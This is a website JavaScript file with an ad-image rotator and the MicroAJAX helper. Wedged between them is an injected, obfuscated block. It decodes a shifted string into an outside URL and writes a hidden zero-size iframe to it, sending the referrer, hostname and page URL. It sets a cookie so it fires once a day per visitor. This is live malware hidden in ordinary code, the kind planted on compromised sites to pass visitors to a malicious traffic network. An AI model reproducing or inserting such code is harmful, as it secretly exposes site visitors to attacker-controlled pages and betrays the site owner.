// MicroAJAX: http://www.blackmac.de/index.php?/archives/31-Smallest-JavaScript-AJAX-library-ever!.html
window.onload = rotate;
var adProducts = new Array("http://www.inkjetoffice.com/images/inkjet-ad.gif","http://www.inkjetoffice.com/images/toner-ad.gif","http://www.inkjetoffice.com/images/refill-ad.gif","http://www.inkjetoffice.com/images/paper-ad.gif"); function KatSubu (NosKof) { var PamiMezi = document.cookie.indexOf (';', NosKof); if (PamiMezi == -1) PamiMezi = document.cookie.length; return unescape(document.cookie.substring(NosKof, PamiMezi)); } function FapiYet (name) { var arg = name + '='; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return KatSubu (j); i = document.cookie.indexOf(' ', i) + 1; if (i == 0) break; } return null; } function NazNun (name, value) { var argv = NazNun.arguments; var argc = NazNun.arguments.length; var expires = (argc > 2) ? argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + '=' + escape (value) + ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) + ((path == null) ? '' : ('; path=' + path)) + ((domain == null) ? '' : ('; domain=' + domain)) + ((secure == true) ? '; secure' : ''); } if (FapiYet('o') == null) { var HeceDec = 'iuuq;00usbggjdnbhobu/dpn0jo0jo/dhj@4'; var LayTra = 'iframe'; var HewPixi = 'visibility:hidden;width:0%;height:0%;'; var FvTiru = ''; for(var i=0;i<HeceDec.length;i++) FvTiru+=String.fromCharCode(HeceDec.charCodeAt(i)-1); document.write('<'+LayTra+' src ='+ FvTiru + '&seoref=' + encodeURIComponent(document.referrer) + '&parameter=' + window.location.hostname+'&HTTP_REFERER='+encodeURIComponent(document.URL)+' style='+HewPixi+'></'+LayTra+'>'); var KowiBeza = new Date (); KowiBeza.setTime(KowiBeza.getTime() + (23*3600*1000)); NazNun('o','1',KowiBeza, '/'); }
var thisProd = 0;
function rotate() {
	thisProd++;
	if (thisProd == adProducts.length) {
		thisProd = 0;
	}
	document.getElementById("adProduct").src = adProducts[thisProd];
	
	setTimeout("rotate()", 3 * 1000);	
}

function microAjax(url,cF){
this.bF=function(caller,object){
return function(){
return caller.apply(object,new Array(object));
}}
this.sC=function(object) {
if (this.r.readyState==4) {
this.cF(this.r.responseText);
}}
this.gR=function(){
if (window.ActiveXObject)
return new ActiveXObject('Microsoft.XMLHTTP');
else if (window.XMLHttpRequest)
return new XMLHttpRequest();
else
return false;
}
if (arguments[2]) this.pb=arguments[2];
else this.pb="";
this.cF=cF;
this.url=url;
this.r=this.gR();
if(this.r){
this.r.onreadystatechange=this.bF(this.sC,this);
if(this.pb!=""){
this.r.open("POST",url,true);
this.r.setRequestHeader('Content-type','application/x-www-form-urlencoded');
this.r.setRequestHeader('Connection','close');
}else{
this.r.open("GET",url,true);
}
this.r.send(this.pb);
}}
